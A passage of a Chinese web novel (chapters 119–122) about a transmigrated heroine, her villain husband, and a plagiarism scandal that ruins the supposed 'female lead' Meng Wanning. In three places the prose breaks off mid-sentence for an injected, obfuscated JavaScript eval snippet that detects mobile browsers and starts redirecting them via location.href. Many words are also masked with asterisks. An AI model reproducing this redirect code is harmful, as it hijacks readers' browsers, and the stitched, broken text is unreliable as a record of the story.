她手里握着一把加装了红点瞄准镜的女士**。 那是时卿舟送给她的礼物。 “手腕再抬高一点。” 时卿舟站在她身后,几乎是贴着她的背。 他的胸膛紧紧贴着她的后背,可以清晰地感受到她身体的温度。 他伸出手,握住了她**的手。 宽大的手掌包裹着她的小手,指腹轻轻摩挲着她的手背。 “对,就是这样。” 他的声音就在她耳边,低沉磁性。 温热的呼吸喷洒在她的耳廓,痒痒的。 孟昭月感觉自己的半边身子都酥了。 她努力集中精神,盯着远处的靶心。 “阿卿……” 她小声嘟囔。 “你别蹭我了!你这样,我怎么专心瞄准啊?” 时卿舟轻笑一声,并没有放开她。 反而贴得更紧了些。 “那就不要专心。” 他在她耳边低语。 “专心感受我就好。” 孟昭月:“……” 这家伙,借着教学的名义,光明正大地吃豆腐。 “砰!” 她扣动**。 **呼啸而出。 八环。 “不错。” 时卿舟赞赏地亲了亲她的脸颊。 “我家月月真棒。” 孟昭月放下枪,转过身,看着他。 “对了,阿卿。” 她想起白天收到的那条短信。 “上次我不是发短信跟你说了赵婷的事情嘛。” “现在怎么样了?” 赵婷就是她和白岺在逛街时,遇到的那个强闯星辉娱乐女生。 时卿舟点了点头,接过她手里的枪,熟练地退膛、检查。 “已经查清楚了。” 他将枪放在桌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16890911|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上,重新将她揽进怀里。 “那本《红颜旧梦》,确实是赵婷写的。” 他的声音平淡。 “她花了整整三年时间,把所有的心血都倾注在这本剧本里。” “结果在投稿星辉娱乐的时候,被孟婉凝看到了。” 时卿舟将上好膛的枪放到台面上。 “孟婉凝假装引荐人,套取了她所有的底稿、构思,甚至是完整的剧本。” “然后变成了自己的作品。” “甚至……” 时卿舟的眼神冷了下来。 “倒打一耙。” “利用孟家的势力和**,污蔑赵婷是抄袭者,是想讹诈她的疯子。” “现在整个学术界和**场,都站在孟婉凝那边。” “那个赵婷,已经被逼得走投无路了。” 孟昭月听得目瞪口呆。 “可是……”她疑惑地皱起眉。 “前世的时候,怎么没有听说过这件事?” 她记得前世孟婉凝的剧本正常开拍了。 只是最后因为时氏撤资导致项目搁置。 但是并没有什么抄袭的风波。 时卿舟轻笑一声,语气里带着几分嘲讽。 “前世的时候,孟婉凝找了时费帮忙。” “时费那个老东西,他直接从物理上,处理掉了那个作者,还有其他知情的人。” 孟昭月:“……” 哦,时家的手段。 直接粗暴。 “那……阿卿,你打算怎么办?” 时卿舟伸出手,捏了捏她的脸颊。 “别担心。” “送上门的牌,哪有不打出去的道理?” 他勾起一抹笑容,志在必得。 “我现在已经派人把那个赵婷保护起来了。” “而且……” 他重新拿起桌上的枪,塞进她的手里。 “刚好,我也有些事情,想要通过这件事,来论证一下。” 说着,他再次从身后抱住了她。 “来,专心点。” 他在她耳边低语,温热的气息再次包裹了她。 “我们继续上课。” “这次……教你点更厉害的。” 他的手,沿着她的手臂慢慢下滑。 最终,覆盖在她握枪的手上。 引导着她,瞄准了更远处的靶心。 “砰!” **再次响起。 精准地击碎了移动靶的中心。 碎片飞溅。 如同某些即将破碎的故事与光芒。 靶场内的灯光依旧明亮。 **停歇后,余音在空旷的空间里回荡。 “月月,神明,并非不可战胜。” …… “累了吗?” 孟昭月诚实地点了点头:“胳膊有点酸。” 举着那么重的枪练了这么久,确实挺累的。 时卿舟闻言,直接弯下腰,将她打横抱了起来。 “那就回去休息。” 孟昭月顺势搂住他的脖子,在他怀里找了个舒服的位置蹭了蹭。 “阿卿真好。” 时卿舟抱着她走出靶场,外面的夜风有些凉。 他将她往怀里紧了紧。 “这就真好了?” 他低头看她,语气戏谑。 “刚才不是还嫌我烦,说我打扰你练习吗?” 孟昭月脸一红,小声反驳。 “那是你……那是你乱摸……” 那种情况下,谁能专心瞄准啊! 时卿舟低笑出声,胸腔的震动传递过来,让孟昭月的脸更红了。 “我那是为了纠正你的姿势。” 他一本正经地胡说八道。 “姿势不对,很容易受伤的。” 孟昭月:“……” 信你个鬼。 …… 几日后,京江市的**场突然炸开了锅。 官媒发文。 《当红编剧孟婉凝:才女皮囊下的抄袭与掠夺》。 文章图文并茂,详尽地列举了孟婉凝成名作《红颜旧梦》与无名作者赵婷原稿的对比调色盘。 重合度高达百分之九十。 不仅如此。 文章还附上了赵婷的创作手稿、两人早期的邮件往来记录。 以及孟婉凝威胁赵婷的录音。 铁证如山。 孟家旗下的**管控力量迅速反应,却被不知名的暗网力量卡住了。 这篇文就这么暴露在公众之下。 一时间,“孟婉凝抄袭”、“豪门恶女”、“学术霸凌”等词条迅速霸占了热搜榜首。 孟家庄园,孟婉凝的卧室内。 “啪!” 名贵的花瓶被狠狠摔在地上,碎片四溅。 孟婉凝看着手机屏幕上那些铺天盖地的谩骂和指责,脸色惨白如纸,浑身都在发抖。 “怎么会这样……怎么会这样?!” 第120章 大女主 【警告!警告!】 【女主角人设严重偏离!】 【系统稳定性下降值创新高!】 脑海中,那个原本平稳的女声,此刻伴随着滋啦滋啦的电流声。 【孟婉凝!你到底在干什么?!】 系统的声音里充满了愤怒与焦躁。 【我让你维持大女主的人设,你就是这么维持的?】 孟婉凝猛地抬起头,不甘道: “我们这个圈子的不都这样?!” “我就借鉴了一下那个穷鬼的剧本怎么了?!” “我哪里做错了?” 【谁管你抄袭还是借鉴?!!】 电流声更加剧烈,系统的声音听起来有些失真。 透着一股掩饰不住的慌乱。 【重点是你居然没有瞒住这件事!】 【你让‘孟婉凝’这个名字沾上了污点你知不知道!】 【你让女主角的人设崩塌了!】 【我也跟着遭殃了!】 孟婉凝愣住了,她从未听过系统如此气急败坏的语气。 “那……那我现在该怎么办?”孟婉凝也跟着不安起来。 “我立刻联系那些网站撤热搜!” 说着,她手忙脚乱地去抓手机。 【蠢货!】系统恨铁不成钢地骂道。 【你是女主角,遇到麻烦,就赶快去找男主啊!】 孟婉凝如梦初醒。 对,还有小叔! 小叔一定会帮她的! …… 书房内,孟廷凛正在电脑前处理着孟婉凝的事情。 听到开门声,他抬头。 看着一脸泪痕、狼狈不堪的孟婉凝。 眉头紧紧锁起。 “小叔……”孟婉凝哭得梨花带雨。 “你救救我……那些人都在骂我……” 孟廷凛看着她,眼中闪过复杂的情绪。 失望、疲惫。 “婉凝,我之前跟你说过什么?”他的声音低沉有力。 “既然要做,就要做得干净。” “我叮嘱过你,要把所有录音、邮件往来全部处理掉,绝不能留下任何把柄。” “你是怎么答应我的?” “借鉴”的事情他自然早就知道了,上层圈子历来都是这样的。 只是没想到居然爆出来了。 “我……我以为我已经处理好了……”她抽噎着。 孟廷凛烦躁地揉了揉眉心,长叹一口气。 “行了,别哭了。” 他打断了她的辩解。 “这件事虽然麻烦,但也不是解决不了。” “你是孟家的大小姐,这点风浪就吓成这样,成何体统?” 他按下内线电话:“周衍,进来一下。” 片刻后,周衍推门而入,恭敬地站在一旁。 “通知公关部。” “现在所有关于婉凝的负面**,全部做冷处理。” “不要回应,不要撤热搜。” “让它自然冷却。”孟廷凛冷静地吩咐道。 “另外,放几个顶流的黑料出来。” “出轨、**、**未成年,都行,转移公众视线。” “是,孟总。”周衍飞快地记录着。 “还有。”孟廷凛顿了顿。 “那个剧本的原作者,叫什么……婷来着?” 周衍:“赵婷。” 孟廷凛点了点头,“去联系她,我亲自跟她谈谈。” 只要搞定了原作者,让她改口或者消失,这场风波自然就能平息。 在这个圈子里,没有什么是钱和权解决不了的。 孟婉凝听着孟廷凛有条不紊地安排,心中的恐慌渐渐平息。 取而代之的是一种劫后余生的庆幸,和对孟廷凛更深的依赖。 果然,只要有小叔在,她就永远是那个高高在上的孟家大小姐。 …… 时家庄园,新建的东翼主卧内。 午后的阳光透过纱帘,柔和地洒在宽大的床上。 孟昭月穿着一件宽松的真丝衬衫,正趴在床上看书。 那衬衫显然是男款的,穿在她身上显得格外宽大。 领口微微敞开,露出大片雪白的肌肤和精致的锁骨。 上面还残留着几点暧昧的红痕。 时卿舟从浴室走出来,身上只围了一条浴巾。 水珠顺着他结实的胸肌滑落,没入腰间的人鱼线。 他走到床边,看着趴在那里的女孩,眼神暗了暗。 啧,要不再来一次吧。 只是趴在那里都勾人魂。 时卿舟俯下身,包孟昭月捞进怀里。 从背后抱住了她,下巴抵在她的肩窝处。 温热的呼吸喷洒在她的耳廓。 “在看什么?”他的声音低沉沙哑,带着慵懒。 孟昭月合上手中的书,顺势在他脸颊上蹭了蹭。 像只慵懒的小猫。 “在看那个剧本呀,《红颜旧梦》。”她软软地说。 “真的好好看,完全停不下来。” 时卿舟轻笑一声,大手探入衬衫下摆。 熟练地握住了她纤细的腰肢,轻轻摩挲着。 “月月。”他突然开口。 “在你看来,一个合格的女主角,应该是什么样子的?” 孟昭月被他摸得有些痒,缩了缩身子。 不过还是认真地想了想。 “嗯……应该是那种,能够给读者带来正向激励作用的人吧?”她眨着大眼睛说道。 时卿舟闻言,挑了挑眉:“那孟婉凝算吗?” 孟昭月一时间哽住了。 确实跟“正向激励”这四个字沾不上边。 时卿舟叹了口气,将脸埋进她的颈窝,闷声道: “看来和我之前猜测的‘破坏女主角的美好’没有关系。” 都不美好了,哪来的可以破坏的美好。 “这个世界意志选人的标准真是让人费解。” 孟昭月懒洋洋地靠在时卿舟怀里。 “但是……”她想了想,突然开口。 “如果从外界的评价来说,孟婉凝确实挺符合的。” 时卿舟动作一顿,抬起头看着她:“怎么说?” “你看啊,”孟昭月掰着手指头数道。 “在大众视野里,她是孟家的大小姐,出身高贵。” “但她没有坐享其成,而是‘凭借自己的能力’创作剧本获奖,这叫独立有才。” “她还经常出席各种慈善活动,这叫有爱心。” “完美的身世、完美的能力,还有一颗‘善良’的心。” “这不就是那个女配系统一直强调的大女主吗?” 时卿舟听着她的话,黑眸微眯,陷入了沉思。 “大众视野……”他低声重复着这几个字。 指尖有一下没一下地敲击着孟昭月的腰侧。 孟昭月没忍住缩了缩,却被时卿舟一把握住了腰肢。 “原来如此。”他轻笑一声,“那也是孟廷凛眼中的完美女人。” 既然孟廷凛作为男主角,他的认知和态度。 应该也是维持这个“大女主”符号的关键。 依赖于男人评价的大女主吗? 倒是有趣。 “月月,你真是我的宝藏。”时卿舟翻身将她压在身下。 “诶?”孟昭月还没反应过来,就被他封住了嘴唇。 他的吻热烈而急切。 “阿卿……唔……”孟昭月的声音很快破碎在唇齿间。 “乖,专心点。”时卿舟含住她的耳垂,低声诱哄,“奖励你。” 房间里的温度迅速升高,旖旎的气息在空气中蔓延。 …… 几天后,京江市文化中心。 一年一度的“绘梦·慈善艺术展览会”开幕仪式在这里隆重举行。 这不仅是一场艺术盛宴,更是京江市名流圈的一次顶级社交活动。 豪车云集,红毯铺地,闪光灯此起彼伏。 前往会场的路上,黑色的迈巴赫平稳行驶。 姜玦坐在副驾驶,手里拿着平板。 向后座的时卿舟汇报着最新的情况。 “先生,目前关于孟婉凝抄袭事件的热度已经降下去了。” 时卿舟靠在椅背上神情慵懒。 听到汇报,他只是淡淡地点了点头:“预料之内,孟廷凛动作挺快。” “清吧那天的事情,孟廷凛查得怎么样了?”时卿舟漫不经心地问道。 “他已经锁定了江浩宇。”姜玦回答道。 时卿舟慢条斯理地理了理手上的手套:“不用放出全部消息。” “等我们手上的筹码攒得足够多了,到时候……” “一击毙命。” “是。”姜玦恭敬应道。 时卿舟顿了顿,似乎是想到什么,神色放暖了些。 “夫人今天在做什么?” 姜玦:“白夫人带她出去玩了。” 时卿舟微微拧起眉毛:“没去那些不三不四的地方?” 这个女人有前科! 姜玦擦了擦冷汗:“没,没有,好像去见白夫人的朋友了。” 时卿舟叹了口气:“把夫人的追踪点实时开启。” 姜玦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894501|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连忙道:“是。” …… 车子缓缓停在文化中心门口。 车门打开,时卿舟下车。 那一瞬间,所有的闪光灯都疯狂闪烁起来。 时家,掌权人。 这五个字在C国来说,如同一座山。 进入会场后,无数商界大佬、政界名流纷纷上前攀谈。 希望能在这位新晋的时家掌权人面前混个脸熟。 孟崇山也来了。 他脸上挂着笑,但眼底却藏着深深的阴霾。 最近孟家因为孟婉凝的事情焦头烂额,股票都跌了不少。 看到被众星捧月的时卿舟。 孟崇山心里虽然不爽,但还是硬着头皮走了过去。 “时总,真是年少有为啊。”他挤出一个得体的笑容。 时卿舟淡淡地扫了他一眼,微微颔首:“孟会长过奖了。” 周围的人见孟崇山主动搭话,便有人多嘴。 “说起来,听说时总的夫人好像也姓孟?” “不知道是不是孟会长家的人?” 孟崇山闻言,脸上立刻露出了矜持而得意的笑容。 “不错,卿舟的妻子,正是我们家的小女儿。” 周围顿时响起一片恭维声。 “孟会长真是好福气。” “有个这么优秀的女儿和女婿!” 孟崇山听着,虚荣心得到了极大的满足,脸上的阴霾也散去了不少。 然而,就在这时,时卿舟却突然轻笑了一声。 “孟会长,您是不是记性不太好?” 他的声音不大,现场却瞬间安静了下来。 时卿舟嘴角勾起一抹嘲讽的弧度: “我的妻子不是圈内人,和你们这‘清流世家’,可一点关系都没有。” “至于孟会长……”他顿了顿,眼神里满是戏谑。 “不要见到谁都乱攀亲戚。” 此话一出,全场哗然。 有人忍不住发出了低低的嗤笑声。 那些原本还在恭维孟崇山的人,此刻也都尴尬地闭上了嘴。 更有几个机灵的立刻抓住机会,阴阳怪气起来。 “哎哟,孟会长这是想沾光想疯了吧?” “啧啧,丢人现眼。” 孟崇山的脸瞬间涨成了猪肝色。 他看着时卿舟在众人的簇拥下转身离去。 那一刻,孟崇山心里突然涌起一股强烈的悔意。 如果当初…… 没有把事情做得那么绝。 没有把孟昭月逼走。 现在的他,是不是也能站在那个光芒万丈的位置,享受着众人的追捧和羡慕? 而不是像现在这样,像个小丑一样被人嘲笑。 …… 另一边,展会的内楼。 这里挂满了各种抽象的艺术大作。 孟昭月被白岺拉着往前走。 “……怎么突然要来看这些……嗯,艺术品。” 孟昭月的目光落到了,一个被胶带粘在纸板上的香蕉上。 然后看了一眼下面的介绍。 等一下,这玩意600万美元?! 白岺踩着恨天高,压低声音兴奋道: “我是来看我老公的!” 孟昭月愣了一下。 脑海里瞬间浮现出,时费那张阴沉苍老的脸。 “时,时董……也来了吗?” 自从时费失权后,时卿舟给他安排了个董事的席位。 虽然十三个董事,十二个是时卿舟的人。 孟昭月有些疑惑:“可是时家这边不是阿卿代表出席吗?” “呸呸呸!”白岺一脸嫌弃地啐了一口。 “谁说那个老头子了!” “晦气!” 她四处张望了一下,指着不远处一个正在指挥工作人员布置展台的帅气年轻男人。 眼睛里直冒星星。 “我说的是他!” “今天的策展人之一,也是最近超火的新锐艺术家!” 她压低声音:“那方面,香得很。” “送了辆超跑就拿下的!性价比超高!” 孟昭月:“……” 她一点都不想和名义上的婆婆讨论这种问题。 “哎呀,不跟你说了,他看过来了!”白岺激动地整理了一下头发。 “我先过去了啊,你自己随便逛逛!” 说完,她直接扔下孟昭月,像只花蝴蝶一样朝着那个策展人扑了过去。 孟昭月:“……” 被抛弃的孟昭月无奈地叹了口气。 她想着时卿舟也来参加这个艺术展了,便打算去找他。 第121章 这章有大瓜 孟昭月看了一圈也没看到时卿舟的身影。 估计他们的典礼是在另一个区域举行的,并不在这个展厅。 百无聊赖之下,她只能漫无目的地在展厅里闲逛。 走着走着,她来到了一个偏僻的休息区。 这里被几盆高大的绿植挡住。 十分隐蔽。 就在她准备转身离开时,突然听到说话声。 “要不是江慧把昭月逼走了。” “今天我会被时家那个……没教养的当众羞辱吗?!” 是一个中年男人的声音,带着压抑的怒气。 孟昭月脚步一顿。 这声音……孟崇山? 然后是一道低沉的男声:“大哥,我今天来找您,不是为了吵架的。” 是孟廷凛! “我是来警告您的。” “警告我?”孟崇山扯了扯嘴:“你警告我什么?” “不要再去林如雪的墓地扫墓了。”孟廷凛一字一句地说道。 林如雪? 谁? “你……你怎么知道……”孟崇山的声音突然变得慌乱起来。 然后他冷静下来:“那是我的私事!轮不到你来管!” 他的声音里透着一股难以掩饰的痛苦和怀念。 “如雪……当年如果不是家族联姻,我们早就……” “大哥!”孟廷凛厉声喝止了他。 “请您注意您的言辞!嫂子才是您的妻子!” “而且……” “您别忘了,现在林如雪可不是什么普通的女人。” “她是顾清珩,顾副议长的亲生母亲。” 孟昭月:“……?!” 等一下,她刚刚好像听到了什么超级大瓜! 顾清珩的母亲……竟然是孟崇山的白月光?! 这……这也太狗血了吧?! 说起来,上辈子,顾清珩确实在丧母后,被孟崇山接到了孟家暂住。 难怪…… 就在孟昭月震惊得无以复加的时候。 一只戴着黑色皮手套的大手,突然从身后伸了过来。 一把捂住了她的嘴! “唔!” 孟昭月吓得魂飞魄散,刚想挣扎。 整个人就被拥入了一个宽阔坚硬的怀抱。 熟悉的甜腻香气瞬间将她包裹。 “嘘……” 低沉的男声贴着她的耳廓响起,带着一丝戏谑的笑意。 “听什么听得这么认真呢?老婆。” 是时卿舟。 孟昭月紧绷的身体瞬间放松下来。 时卿舟一只手捂着她的嘴。 另一只手却不老实地顺着她的腰线滑落。 隔着薄薄的礼服布料,在她腰侧的软肉上不轻不重地捏了一把。 孟昭月被他捏得身子一颤,脸颊瞬间红透了。 这个坏蛋! 这种时候还要吃豆腐! 时卿舟看着她羞愤的表情,眼底的笑意更深了。 他低下头,在她颈侧落下一个轻吻,声音低哑暧昧。 “是孟崇山啊……” “这八卦倒是新鲜。” …… 一番争吵后,孟廷凛和孟崇山分道扬镳。 孟廷凛从阴影中走出,脸色阴沉得能滴出水来。 转过拐角,他的脚步猛地顿住。 不远处两个人影正亲密地依偎在一起。 时卿舟揽着孟昭月,和她讨论着孟昭月之前看到的那个香蕉艺术品。 时卿舟修长的手指卷着她的一缕头发,轻轻把玩着。 两人姿态,亲密无间。 孟廷凛看得心头烦躁,心里不是滋味。 他大步上前,皮鞋踏在地面上发出沉重的声响。 “昭月。” 时卿舟懒懒地抬起眼皮,扫了他一眼,没有任何动作,甚至连揽着孟昭月的手都没有松开半分。 孟昭月听到他的声音愣了愣,也转过头看向孟廷凛。 然后孟廷凛看清了孟昭月的模样。 她眼尾微红,唇湿湿润润的。 孟廷凛一眼就看出来了刚刚发生了什么。 他的火气瞬间就窜了起来。 “孟昭月!” 他厉声吼道。 “你……” 她乖巧地看着他,然后,在他开口之前,抢先说道: “孟昭月,你还要不要脸?” “大庭广众之下和男人拉拉扯扯,成何体统?” “孟家的脸都被你丢尽了!” “你是不是离了男人就活不了?’” 她学着孟廷凛平时教训她的语气。 那种高高在上的语调模仿得惟妙惟肖。 说完,她眨了眨眼,看着一脸错愕的孟廷凛,歪了歪头。 “小叔,你是想说这些吗?” 孟廷凛僵在原地,张着嘴。 原本准备好的训斥之词全被堵在了喉咙里。 一个字也吐不出来。 她说的……正是他想说的。 一字不差。 时卿舟看着孟廷凛那副吃瘪的模样,忍不住低笑出声。 胸腔的震动通过紧贴的身体传导给孟昭月。 让她也跟着弯了弯嘴角。 “看来孟总的台词太老套了。” “连月月都背下来了。” 他低下头,在女孩发顶亲昵地蹭了蹭,眼神里满是宠溺和纵容。 “既然孟总没别的新鲜话要说。” “那我们就先失陪了。” 说完,他揽着孟昭月,转身就走。 那姿态,强势而绝对。 完全将孟昭月护在自己的羽翼之下。 不容任何人窥探。 孟廷凛看着两人离去的背影,拳头死死攥紧。 那种被忽视、被挑衅的愤怒。 以及心底深处那抹说不清道不明的酸涩。 交织在一起,让他几乎要失控。 她真的…… 一点都不在意他了吗? “昭月!” 鬼使神差地,他突然开口叫住了她。 前方的两人停下脚步。 孟昭月回过头,疑惑地看着他。 那双眼睛里没有厌恶,没有愤怒。 只有纯粹的困惑。 就像在看一个无关紧要的路人。 “还有事吗,孟先生?”她问。 孟廷凛张了张嘴。 他想说什么? 想让她回来? 想让她别跟时卿舟走? 还是…… 想为刚才的态度道歉? 可是,看着她那双平静无波的眼睛,所有的话都像是被堵住了一样。 他像让她别走。 很想。 沉默在两人之间蔓延。 最终,孟廷凛颓然地松开了拳头。 “没事。” 他的声音沙哑,带着一丝不易察觉的疲惫。 “走吧。” 孟昭月:“???” 她有些莫名其妙地看了他一眼,然后转过头,重新挽住时卿舟的手臂。 “阿卿,我们走吧。” 时卿舟低头吻了吻她的发顶。 “好。” 他偏头扫了孟廷凛一眼。 那眼神里带着几分嘲弄。 活该。 随后带着孟昭月大步离开。 两人相携离去,很快消失在走廊的尽头。 只剩下孟廷凛一个人站在原地,看着空荡荡的走廊,久久没有动弹。 …… 时家庄园。 时卿舟直接将孟昭月抱进了主卧。 房间里暖气开得很足,驱散了外面的寒意。 他将她放在柔软的大床上。 自己则单膝跪在床边,帮她脱去脚上的高跟鞋。 孟昭月的脚踝纤细白皙,因为长时间穿着高跟鞋而有些发红。 时卿舟握着她的脚,指腹轻轻摩挲着那片红痕,眼中满是心疼。 “累坏了吧?” 他抬起头,看着她。 孟昭月摇了摇头。 顺势倒在床上,看着天花板上的吊灯发呆。 “你说这部小说的作者,为什么要写这么一部作品呢?” 她还记得女配系统说过她的结局。 被大火烧死。 然后她真的被大火烧**。 听说第一世她也是被大火烧死的。 火焰灼着她的皮肤。 她渐渐感受到疼痛。 还好有阿卿。 杀了她。 这样她就不会疼了。 “我明明什么都没有做啊。” “为什么要惨死呢?” “我只是……” “想和阿卿在一起。” 她的声音闷闷地 时卿舟手上的动作顿了一下。 他站起身,坐到床边,将她捞进怀里,让她坐在自己的腿上。 “和月月没有关系。” “只是……” 时卿舟抱紧了孟昭月,下巴搭在她的头顶。 他的桃花眼微微眯起,眼中满是寒意和深不见底浓稠。 “有些东西需要清理而已。” 他会去做的。 他会用尽一切手段。 他们终将会在一起。 神明无法阻挡。 他可是反派时卿舟啊。 是月月的丈夫啊。 不择手段。 能感觉到怀里女孩的郁闷。 时卿舟温柔地岔开了话题:“如果月月是作者的话。” “月月会写什么样的故事呢?” 孟昭月歪着头想了想。 “如果是我写的话……” 她的眼睛亮晶晶的,像是藏着星光。 “我才不要写什么豪门恩怨,也不要写什么真假千金。” 她伸出手指,轻轻戳了戳时卿舟的胸膛。 “我要写……一个只有我们两个人的故事。” “没有孟家,没有顾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16899659|188077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家,没有那些乱七八糟的人。” “只有我和阿卿。” “我们会住在一个很漂亮的大房子里,就像这里一样。” “每天早上醒来,我就能看到你。” “你会给我做早餐,帮我梳头发。” “我们可以一起去很多地方玩,去海边看日出,去山顶看星星。” “如果不高兴了,我就咬你一口。” 说着,她真的张开嘴,在他脖子上轻轻咬了一下。 “然后你会抱着我,哄我,说‘宝宝别生气了’。” 时卿舟听着她的描述,眼底的笑意越来越深。 最后化作一汪温柔的春水。 几乎要将人溺毙其中。 “还有呢?”他轻声问。 “还有……” 孟昭月抱住他的脖子,脸颊贴着他的脸颊。 “还有就是……我们要永远永远在一起。” “不管发生什么事,都不能分开。” “就算世界毁灭了,我们也要在一起。” “这就是我想要的故事。” “只要能和阿卿在一起,什么都很好。” 时卿舟感觉自己的心脏在一点一点的收紧,然后在膨胀开。 他看着怀里的女孩。 这正是他梦寐以求的。 只要有她,只要能和她在一起。 那就是最好的结局。 他猛地收紧手臂,将她死死地按在怀里,力道大得仿佛要将她揉进自己的身体里。 “好。” 他的声音沙哑。 “我们就写这样的故事。” “只有我们两个人的故事。” 他低下头,吻住了她的唇。 这个吻不似以往那般疯狂掠夺,而是充满了温情与眷恋。 我们会永远在一起。 直到时间的尽头。 …… “啪!” 孟家庄园,主楼客厅。 江慧一巴掌扇在了孟崇山的脸上。 桌子上,是几张照片。 照片上,是孟崇山在一个墓碑前祭拜的场景。 那墓碑上刻着的名字,赫然是“林如雪”。 孟崇山捂着脸,不可置信地看着面前这个平日里端庄优雅的妻子。 江慧浑身都在发抖,胸口剧烈起伏。 那双保养得宜的眼睛里此刻充满了怨毒和愤怒。 “孟崇山!你对得起我吗?!” 她尖叫着,声音因为极度的愤怒而变得尖锐刺耳。 “我嫁给你这么多年,为你操持家中,为你生儿育女!” “你就是这么对我的?!” “你心里居然一直装着那个**!” “你还去祭拜她?!” “你知不知现在上流圈层怎么说我的?!” “你把我的脸往哪搁?!” 孟崇山脸色铁青。 他没想到这件事会被捅出来。 更没想到江慧会当着佣人的面打他。 “你疯了吗?!”他怒吼道。 “那是以前的事了!” “而且人都**这么多年了,你还计较什么?!” “我计较?!” 江慧像是听到了什么天大的笑话,冷笑连连。 “我当然要计较!” “你为了那个**,这么多年对我爱答不理!” “现在还闹得满城风雨,让所有人都来看我的笑话!” “孟崇山,我告诉你,这日子没法过了!” “离婚!我要跟你离婚!” 孟崇山也被激怒了。 “离就离!你以为我稀罕你?!” “这么多年,如果不是为了家族联姻,我早就受够你了!” “你看看你现在的样子,哪里还有一点大家闺秀的风范?” “简直就是个泼妇!” 两人你一言我一语,互不相让。 客厅里一片狼藉,茶杯、花瓶被摔得粉碎。 “爸!妈!你们别吵了!” 孟婉凝从楼上冲下来,看到这一幕,急得眼泪直掉。 她试图冲过去拉开两人,却被盛怒中的孟崇山一把推开。 “滚开!这里没你说话的份!” 孟婉凝猝不及防,脚下一崴,重重地摔倒在地上。 “啊!” 她发出一声惨叫,捂着肚子,脸色瞬间变得惨白。 “婉凝!” 孟崇山和江慧这才反应过来,连忙停下争吵,围了过去。 …… 家庭医生很快赶到。 经过一番检查后,医生摘下听诊器。 面色有些复杂地看着孟崇山和江慧。 “先生,太太……小姐她……”医生欲言又止。 “她怎么了?是不是被吓到了?”江慧此时也顾不上和孟崇山吵架了,焦急地问道。 医生叹了口气,低声说道:“小姐她……怀孕了。” 第122章 孟婉凝out:女主失格 轰—— 这一句话,如同晴天霹雳。 孟婉凝猛地坐起身,不可置信地瞪大了眼睛。 “你说什么?!” “我……怀孕了?!” 她的脸瞬间变得惨白如纸,身体不受控制地颤抖起来。 怀孕……她怀孕了? 那个晚上的记忆如潮水般涌来。 江浩宇那张令人作呕的脸。 他粗暴的动作。 还有那充满侮辱性的言语…… 恐惧和绝望瞬间淹没了她。 那是江浩宇的孩子! 是那个**犯的孩子! “打掉!我要打掉它!” 她尖叫着,疯狂地捶打着自己的肚子。 “我不生!我不要生这个孽种!” 江慧一把按住她的手,脸色阴沉得可怕。 “婉凝!你冷静点!” “孩子是谁的?”孟崇山沉声问道,目光凌厉地盯着她。 孟婉凝颤抖着,嘴唇咬出血来,却不敢说出一个字。 终于,在孟崇山和江慧的不断逼问下。 她终于崩溃了。 “是……是江浩宇的……” “江浩宇?!” 孟崇山只觉得眼前一黑,差点晕过去。 江家那个出了名的纨绔子弟?! 那个**女性、声名狼藉的**?! “你怎么会跟他……”江慧气得浑身发抖,“你糊涂啊!” 孟婉凝哭得更凶了。 “我也不想的……是……是被设计的……” 她不敢说出真相,只能含糊其辞。 孟崇山深吸一口气,强迫自己冷静下来。 事已至此,骂也没用了。 现在的关键是,怎么收场。 孟家的大小姐未婚先孕,这要是传出去,孟家的脸还要不要了?! “结婚。” 孟崇山咬着牙,做出了决定。 “必须马上结婚!” “只有嫁给江浩宇,才能把这件事盖过去!” “我不嫁!”孟婉凝尖叫道,“我死也不嫁给那个垃圾!” “由不得你!”孟崇山厉声喝道。 “你不嫁,难道想让全天下人都知道你未婚先孕,怀了个野种吗?!” “孟家的脸都被你丢尽了!” 说完,两人不再理会孟婉凝的哭喊,转身走出了病房。 孟婉凝瘫软在床上,感觉天都要塌了。 嫁给江浩宇…… 那还不如让她**! 为什么……为什么会变成这样? 系统明明说她是女主角啊! 她是那个光芒万丈、所有人都围着她转的大女主啊! 为什么会落到这种地步? 不……还有希望。 小叔! 对,小叔一定会救她的! 小叔最疼她了。 只要她去求小叔,小叔一定不会让她嫁给江浩宇的! 她挣扎着爬起来。 …… 孟廷凛的书房的门虚掩着。 孟婉凝推开门,直接扑了进去。 跪倒在孟廷凛的书桌前。 “小叔!救救我!求求你救救我!” 她哭得撕心裂肺,双手紧紧抓着书桌的边缘, “爸爸要逼我嫁给江浩宇!” “我不能嫁给他!” “小叔,你帮帮我,你帮我去跟爸爸说。” “我不要嫁给那个畜生!” 孟廷凛坐在宽大的皮椅里。 